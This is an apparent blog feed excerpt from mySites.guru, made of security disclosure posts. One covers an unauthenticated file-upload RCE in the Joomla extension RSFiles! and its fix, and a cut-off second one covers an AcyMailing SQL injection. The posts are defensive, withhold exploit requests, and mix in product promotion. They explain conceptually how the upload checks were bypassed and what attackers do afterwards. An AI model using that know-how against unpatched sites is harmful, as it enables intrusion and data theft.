  &lt;p&gt;What this means is that any attacker, without having an account on your website, can upload a .php file in your /downloads directory and execute it.&lt;/p&gt;
  &lt;p&gt;The bottom line is: update immediately to RSFiles! 1.17.12 which fixes this along some other not-reported, but less critical security issues.&lt;/p&gt;
&lt;/figure&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: The frontend upload in RSFiles! (&lt;code&gt;com_rsfiles&lt;/code&gt;) up to and including 1.17.11 (fixed in 1.17.12) could be reached by anyone with no authentication and no CSRF token, and the method that actually wrote the file performed no permission check and no file-type check. Because it trusted the caller’s filename and the default downloads folder sits inside the web root with PHP execution on, a &lt;code&gt;.php&lt;/code&gt; upload ended up in a public directory and could be executed, which is unauthenticated remote code execution (CWE-434). We found it during a source-code audit, reproduced the full chain on a local Joomla install, and disclosed it privately to RSJoomla, who responded the same day, shipped 1.17.12, and published an advisory telling site owners to update now. It is now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57827/&quot;&gt;CVE-2026-57827&lt;/a&gt;, crediting Phil Taylor as the reporter. No proof of concept has been made public. Update every RSFiles! install to 1.17.12 or later immediately, then check exposed sites for stray files and unexpected admin accounts. If you manage more than a handful of Joomla sites, mySites.guru lists every RSFiles! install in your account in seconds and pushes the update.&lt;/p&gt;
&lt;h2&gt;How This One Was Found&lt;/h2&gt;
&lt;p&gt;This one did not start with an abuse report or a hacked site. It started with reading the code.&lt;/p&gt;
&lt;p&gt;Part of what we do is audit the Joomla extensions that turn up most often across the sites we manage, on a local test install where we can prove a flaw safely and put the box back exactly as it was. RSFiles! came up in that rotation. Reading through the upload path, the security checks were in the wrong place: the method that decides whether you are allowed to upload, and what file types are permitted, is a separate pre-flight step from the method that actually writes the file, and only the first one holds the checks. The second one, the one that writes to disk, could be called directly.&lt;/p&gt;
&lt;p&gt;We reproduced the whole chain end to end on a local Joomla install: an anonymous request, no login at any step, uploaded a &lt;code&gt;.php&lt;/code&gt; file into the downloads folder, and requesting that file back ran it. From there it was a private email to RSJoomla. They replied the same day, shipped the fix in RSFiles! 1.17.12, and published an advisory the same day telling site owners to update immediately. The flaw is now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57827/&quot;&gt;CVE-2026-57827&lt;/a&gt;, crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is what responsible disclosure looks like&lt;/p&gt;
  &lt;p&gt;Found in a code audit, confirmed live on a local install, reported privately, and fixed by the vendor the same day, with a clear public advisory and no technical detail released. No exploit has been published. The reason to write about it is to get sites updated, not to show anyone how it worked.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Was Actually Wrong in RSFiles!?&lt;/h2&gt;
&lt;p&gt;The flaw was an unauthenticated file upload where the security checks and the file write were in two different places, and only one of them was guarded. RSFiles! splits its upload across two separate frontend tasks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A pre-flight check that holds the permission gate (can this user upload at all) and the extension allow-list (the permitted file types, by default images, text and PDFs). This method decides yes or no. It writes nothing.&lt;/li&gt;
&lt;li&gt;The write method that actually receives the file and saves it to disk. This method performed no permission check and no extension check. It read the target filename straight from the request and gave the upload to Joomla’s bundled upload handler.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That bundled handler accepts any file type unless the calling code tells it otherwise, and RSFiles! never told it otherwise, so its default was to accept everything, including &lt;code&gt;.php&lt;/code&gt;. Because the write task could be called directly, an attacker skipped the pre-flight check entirely and posted to the write task, which never consulted the allow-list or the permission gate. The frontend controller had no site-wide CSRF token and no access check, so the whole thing ran for an anonymous visitor.&lt;/p&gt;
&lt;p&gt;The final piece is where the file ends up. RSFiles!‘s default downloads folder sits inside the web root, and the protective &lt;code&gt;.htaccess&lt;/code&gt; that would stop PHP running there is an opt-in admin setting that is off by default. So an anonymous upload of a &lt;code&gt;.php&lt;/code&gt; file went into a directory that serves and executes PHP, and requesting it in a browser ran it. No account on the site was needed at any point.&lt;/p&gt;
&lt;p&gt;The important detail for site owners is the “no login” part. Plenty of upload bugs need an editor or admin account first, which limits the damage to people you already trust. This one did not. Anyone on the internet who could reach the site could reach the upload.&lt;/p&gt;
&lt;p&gt;We are not publishing the exact request an attacker would send. The shape of the bug is enough to understand the risk and to check your own sites; the working details stay private.&lt;/p&gt;
&lt;h2&gt;Why an Upload Flaw Is as Bad as It Gets&lt;/h2&gt;
&lt;p&gt;An unauthenticated upload that puts executable code on the server is the top of the severity scale, and it is worth being clear about why. Once an attacker can run PHP of their choosing on your server, they are no longer limited to your site. They can read your &lt;code&gt;configuration.php&lt;/code&gt; and the database credentials in it, create a hidden Joomla Super User, plant a backdoor that an extension update will not remove, pivot to other sites in the same hosting account, or add the server to a spam or malware network. The uploaded file is rarely the goal in itself; it is the foothold.&lt;/p&gt;
&lt;p&gt;This is the same lesson as the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX and frontend endpoints blind spot&lt;/a&gt; we keep coming back to. An endpoint that Joomla will run for anonymous visitors is exposed to the entire internet, so every input it touches has to be treated as hostile. A single allow-list check on the file that is actually written, “is this one of the types this folder is allowed to hold”, would have stopped this.&lt;/p&gt;
&lt;h2&gt;What the RSFiles! 1.17.12 Fix Does&lt;/h2&gt;
&lt;p&gt;RSJoomla’s fix closes the anonymous route into the upload. Version 1.17.12 requires a valid CSRF token on the upload task and runs the permission and allow-list checks before the file is written, so a visitor with no account is rejected before anything reaches the disk. The &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsfiles/changelog/rsfiles-changelog.html&quot;&gt;changelog&lt;/a&gt; records the same release also restoring the missing CSRF token on uploads and blocking file-preview access when permissions are disabled. Their advisory notes it fixes some other, less critical issues that were not separately reported.&lt;/p&gt;
&lt;p&gt;The practical takeaway is simple: 1.17.12 shuts the door that let an anonymous visitor upload and run code. Every RSFiles! install on 1.17.11 or earlier is on the wrong side of that door until it is updated. Because the flawed routine had been in the code for years, “my site is old and stable” is a reason to update sooner, not later.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Caught This Without a Signature&lt;/h2&gt;
&lt;p&gt;If you already run sites through mySites.guru, this is the part worth knowing. We did not need an RSFiles-specific rule to catch this class of activity. mySites.guru watches for the behaviour, an anonymous visitor uploading an executable file, rather than a fingerprint of one particular extension’s bug.&lt;/p&gt;
&lt;p&gt;That generic detection is the same logic that catches &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download&lt;/a&gt; upload attempts. An attacker dropping a &lt;code&gt;.php&lt;/code&gt; file through a public endpoint looks the same regardless of which extension left the door open, so we can catch new bugs of this shape before anyone has written a rule naming them. Signature-based tools only see an attack once someone has described it. Behaviour-based detection sees it the first time it happens.&lt;/p&gt;
&lt;p&gt;If a hostile file does get through, the &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content and hacked-file detection&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoor scanning&lt;/a&gt; find it across every connected site, matching it against known malware hashes and thousands of code patterns. Anything flagged can be sent for &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains in plain English what the file does.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every RSFiles! Site I Manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template, and framework on every Joomla and WordPress site in your account. You search for RSFiles! once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every RSFiles! install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for RSFiles! across every connected Joomla site and filter for anything on 1.17.11 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Bulk Updating RSFiles! Across Every Site&lt;/h2&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites on an old version, push the update to all of them from one screen. The same routine covers any Joomla extension, plugin, or core update, so the workflow you set up once works for the next security release too. You can also switch on &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt; so future RSFiles! releases install without you lifting a finger.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing dozens of Joomla sites&lt;/p&gt;
  &lt;p&gt;The patch is the easy bit. Knowing which client sites run RSFiles!, and getting the update onto all of them, is the work. &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;See how mySites.guru manages multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If a particular site cannot be updated right away, unpublishing the RSFiles! frontend and any menu items that expose its upload takes the vulnerable handler out of reach while you schedule a maintenance window. A web application firewall such as RSFirewall! or Admin Tools can also blunt the attack, but neither is a substitute for the update.&lt;/p&gt;
&lt;h2&gt;How Do I Check an RSFiles! Site for Tampering?&lt;/h2&gt;
&lt;p&gt;Updating closes the door. It does not tell you whether anyone walked through it first. Because the flaw allowed an anonymous visitor to drop a file and run it, a site that was on 1.17.11 or earlier could already have been touched, and you should check before you assume it is clean.&lt;/p&gt;
&lt;p&gt;Three checks, in order of value:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Look in the downloads folder. RSFiles! stores files under a downloads directory inside the web root. Anything there that is not a real download, and above all anything ending in &lt;code&gt;.php&lt;/code&gt;, is a red flag. On a single site you can run &lt;code&gt;find&lt;/code&gt; over that folder for &lt;code&gt;.php&lt;/code&gt; files via SSH.&lt;/li&gt;
&lt;li&gt;Check for rogue administrator accounts. Code execution is a fast route to a hidden Super User. In your Joomla Users list, sort by registration date and treat any administrator account you do not recognise as suspect.&lt;/li&gt;
&lt;li&gt;Hunt for modified and unfamiliar files. A foothold is a perfect moment to plant persistence elsewhere. Look for recently changed PHP files and for executable files sitting where uploads should not contain code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru runs all three of these across every connected site at once. The suspect content tool and hacked-file detection surface the stray PHP files, the extension and user inventory sorts every account across every site by registration date, and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; tells you the moment a new file appears or an unfamiliar admin logs in, rather than at the next manual check.&lt;/p&gt;
&lt;p&gt;If any of that turns something up, the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked recovery guide&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;how to fix a hacked site&lt;/a&gt; walkthrough cover the cleanup, and &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option if you would rather hand it over.&lt;/p&gt;
&lt;h2&gt;File Extensions Are a Recurring Joomla Attack Surface&lt;/h2&gt;
&lt;p&gt;If you manage Joomla sites, treat every extension that accepts or serves files as a piece of your attack surface that deserves regular attention. The exact flaw fixed here, an unauthenticated upload of a file with a dangerous type, is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, and it shows up across the whole category rather than in one vendor’s code.&lt;/p&gt;
&lt;p&gt;The recent run of Joomla disclosures makes the point. &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, and the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt; were all the same shape: a frontend endpoint that took a file from an anonymous visitor without a strict check on what was actually written. When a category of extension keeps producing the same kind of bug, the sensible response is not to distrust one vendor, it is to monitor the whole category and to patch fast when a fix ships.&lt;/p&gt;
&lt;p&gt;It is worth keeping this in proportion for RSFiles! specifically. Its only previously recorded CVE is a directory traversal from 2007 (&lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2007-4504/&quot;&gt;CVE-2007-4504&lt;/a&gt;) in the 1.0.2 release, nearly two decades ago. This upload flaw is a different and far more serious class of bug, and the response to it, a same-day fix and a clear advisory, is the more relevant signal about how the extension is maintained today.&lt;/p&gt;
&lt;p&gt;Credit where it is due: RSJoomla did the two things that matter. They fixed it the same day it was reported, and they published a plain-spoken advisory that tells site owners to update now rather than burying it under a routine changelog line. That is not always how these go. We have written before about a vendor shipping a &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;security fix under a bland “Security Update” changelog&lt;/a&gt; with nothing to tell owners how urgent it was. RSJoomla did the opposite, and it is the right call.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this RSFiles! flaw appears, you see exactly which sites are exposed in seconds instead of logging into forty admin panels to find out. And because the monitoring watches for the behaviour rather than a signature, it catches new upload attacks of this shape before anyone has written a rule naming them.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-434, unrestricted upload of a file with a dangerous type, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction, and it ends in full remote code execution. That profile is the worst a web flaw can have.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;10.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;The maximum possible score&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;It is unauthenticated, remotely exploitable in a single request, needs no user interaction, and ends in full remote code execution, so every metric that makes a flaw dangerous is at its worst here. This is the same profile as the near-identical Page Builder CK and Balbooa Forms flaws, both of which scored 10.0 on CVSS 4.0.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Full remote code execution&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This flaw is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57827/&quot;&gt;CVE-2026-57827&lt;/a&gt;, crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57827/&quot;&gt;CVE-2026-57827&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;RSFiles! (&lt;code&gt;com_rsfiles&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;RSJoomla&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated arbitrary file upload to remote code execution&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Up to and including 1.17.11&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;1.17.12, released 10 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The disclosure ran on a single-day cycle from audit to fix, and the &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; A source-code audit turns up the anonymous upload We reproduce the full chain end to end on a local Joomla install: an anonymous request uploads a .php file into the downloads folder and executes it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-10&lt;/strong&gt; We disclose it privately, and RSJoomla fixes it the same day The vendor responds, ships RSFiles! 1.17.12 closing the anonymous upload route, and publishes an advisory telling site owners to update now. A CVE is requested. No proof of concept is published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-11&lt;/strong&gt; CVE-2026-57827 is assigned Crediting Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This RSFiles flaw was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rsjoomla.com/blog/view/644-unauthenticated-file-upload-fixed-in-rsfiles-version-11712-update-now.html&quot;&gt;RSJoomla advisory: Unauthenticated File Upload fixed in RSFiles! 1.17.12&lt;/a&gt; - the vendor&apos;s own notice, telling site owners to update now.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the official definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely: allow-lists, signature checks, renaming, and storing outside the web root.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-upload&quot;&gt;PortSwigger Web Security Academy: File upload vulnerabilities&lt;/a&gt; - a neutral, in-depth reference on how these flaws work and how to prevent them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers, including safe file handling with &lt;code&gt;JFilterInput&lt;/code&gt; and &lt;code&gt;JFile::makeSafe()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>rsjoomla</category><category>file-upload</category><category>rsfiles</category><enclosure url="https://mysites.guru/img/og/blog/rsfiles-unauthenticated-file-upload-rce.png" length="0" type="image/png"/></item><item><title>Unauthenticated SQL Injection in AcyMailing found by mySites.guru</title><link>https://mysites.guru/blog/acymailing-sql-injection-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/acymailing-sql-injection-disclosure/</guid><description>mySites.guru found and reported CVE-2026-56292, an unauthenticated SQL injection in AcyMailing for Joomla and WordPress. Update to 10.11.1 now.</description><pubDate>Thu, 09 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.acymailing.com/&quot;&gt;AcyMailing&lt;/a&gt; is one of the most widely installed newsletter and email-marketing extensions for Joomla. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru discovered an unauthenticated SQL injection vulnerability in AcyMailing, and reported it privately to the developers before disclosing anything publicly.&lt;/strong&gt; The fix is now available in AcyMailing 10.11.1.&lt;/p&gt;
&lt;p&gt;If you run AcyMailing on any Joomla site, update to 10.11.1 now. If you manage more than a handful of sites, read on for how to find every affected one at once. This is the second AcyMailing security issue we have covered this year, after the &lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;CVE-2026-3614 privilege-escalation flaw&lt;/a&gt; in April.&lt;/p&gt;
&lt;h2&gt;Update, 26 September 2026: 10.11.1 is no longer enough&lt;/h2&gt;
&lt;p&gt;AcyMailing 10.11.1 fixes the SQL injection described here, but it is not a safe version any more. AcyMailing 11.1.0, released on 24 September 2026, fixes two further flaws that affect every version up to 11.0.5, and on 26 September the Joomla CNA published them as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94132/&quot;&gt;CVE-2026-94132&lt;/a&gt;, a file write into the web root through mailbox actions rated 9.5 Critical, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94131/&quot;&gt;CVE-2026-94131&lt;/a&gt;, an arbitrary file deletion rated 8.3 High. Where this post says update to 10.11.1, update to 11.1.0 instead. &lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/&quot;&gt;Our AcyMailing 11.1.0 write-up&lt;/a&gt; has the details. If Joomla does not offer you 11.1.0, &lt;a href=&quot;https://mysites.guru/blog/acymailing-update-site-disappears/&quot;&gt;check that the AcyMailing update site still exists&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in AcyMailing and reported it responsibly to the vendor&lt;/li&gt;
&lt;li&gt;Every version from 6.0.0 up to and including &lt;strong&gt;10.11.0&lt;/strong&gt; is affected; fixed in &lt;strong&gt;10.11.1&lt;/strong&gt; (released 9 July 2026)&lt;/li&gt;
&lt;li&gt;A public front-end endpoint placed request parameters straight into a database query, so an &lt;strong&gt;anonymous visitor could read data from any table&lt;/strong&gt; - user accounts, password hashes, article content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to AcyMailing 10.11.1 immediately&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/strong&gt;, assigned by the Joomla CNA and crediting mySites.guru as the finder, published on 9 July 2026 at &lt;strong&gt;CVSS 4.0 9.2 (Critical)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered this security issue and reported it privately to the AcyMailing team in early July 2026. We withheld public details until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is the vulnerability?&lt;/h2&gt;
&lt;p&gt;AcyMailing exposes a front-end endpoint that anonymous visitors can reach without logging in. That endpoint accepted request parameters and placed them into the column list of a database &lt;code&gt;SELECT&lt;/code&gt; query &lt;strong&gt;without sanitising or quoting them&lt;/strong&gt;, the textbook shape of a &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;. Joomla’s standard text filter, which the extension applied to those parameters, strips HTML but does nothing to neutralise SQL syntax. It is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt; behind a long run of recent Joomla extension vulnerabilities.&lt;/p&gt;
&lt;p&gt;So an attacker could supply a crafted parameter that turned the query into one reading from any table in the Joomla database, and get the result back in the response. No account needed, no CSRF token, nothing stolen first.&lt;/p&gt;
&lt;p&gt;In practice that means an unauthenticated attacker could read:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla user accounts, including usernames and password hashes&lt;/li&gt;
&lt;li&gt;Article and content records&lt;/li&gt;
&lt;li&gt;Extension configuration and other stored data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are not publishing the exact request or a working proof-of-concept. The point of this post is to get people updated, not to hand attackers a recipe.&lt;/p&gt;
&lt;h2&gt;How serious is it?&lt;/h2&gt;
&lt;p&gt;Serious enough that we treated it as a priority disclosure. The two things that decide real-world impact are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Whether the site has a web application firewall that filters SQL.&lt;/strong&gt; Because the payload is literally SQL, a WAF often recognises and blocks it before it reaches AcyMailing. We tested this, and the results are worth their own section below. Sites running bare, with no such protection, are the exposed ones.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The site’s own configuration.&lt;/strong&gt; Some setups hand the data straight back; others limit what an anonymous request can see. Either way, the safe assumption is that any site on an affected version is at risk until it’s updated.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A WAF is mitigation, not a fix. The only reliable remedy is to update AcyMailing.&lt;/p&gt;
&lt;h2&gt;Does a WAF protect you? We tested it&lt;/h2&gt;
&lt;p&gt;A web application firewall does not make your site secure. It is a layer, not a cure, and a vulnerable extension is still a vulnerable extension whether or not something in front of it happens to catch the attack today. But because this particular flaw is a SQL injection, and the payload is recognisably SQL, a decent WAF &lt;strong&gt;should&lt;/strong&gt; spot it and reject the request.&lt;/p&gt;
&lt;p&gt;So we tested that claim rather than take it on faith. Against our proof-of-concept, with the extension left vulnerable, we put two of the most common Joomla firewalls in front of it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Admin Tools Professional&lt;/strong&gt; (Akeeba), in its default settings, blocked the attack.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RSFirewall!&lt;/strong&gt; (RSJoomla), in its default settings, blocked the attack.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both stopped the injection cold with no manual tuning. That is exactly what a WAF is for, and it is a strong argument for running one: a site with either of these installed and enabled was protected from this specific issue even before the patch existed.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is the case for defence in depth. Layers matter: a WAF caught this one before it reached the vulnerable code, giving you breathing room to update. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car - you want both.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Do not read this as “you are fine, your WAF has it covered”. A WAF is only as good as its rules, it can be misconfigured or bypassed, and the next vulnerability in the next extension might not look like SQL at all. The firewall bought our tested sites time. Updating AcyMailing to 10.11.1 is what actually closes the door.&lt;/p&gt;
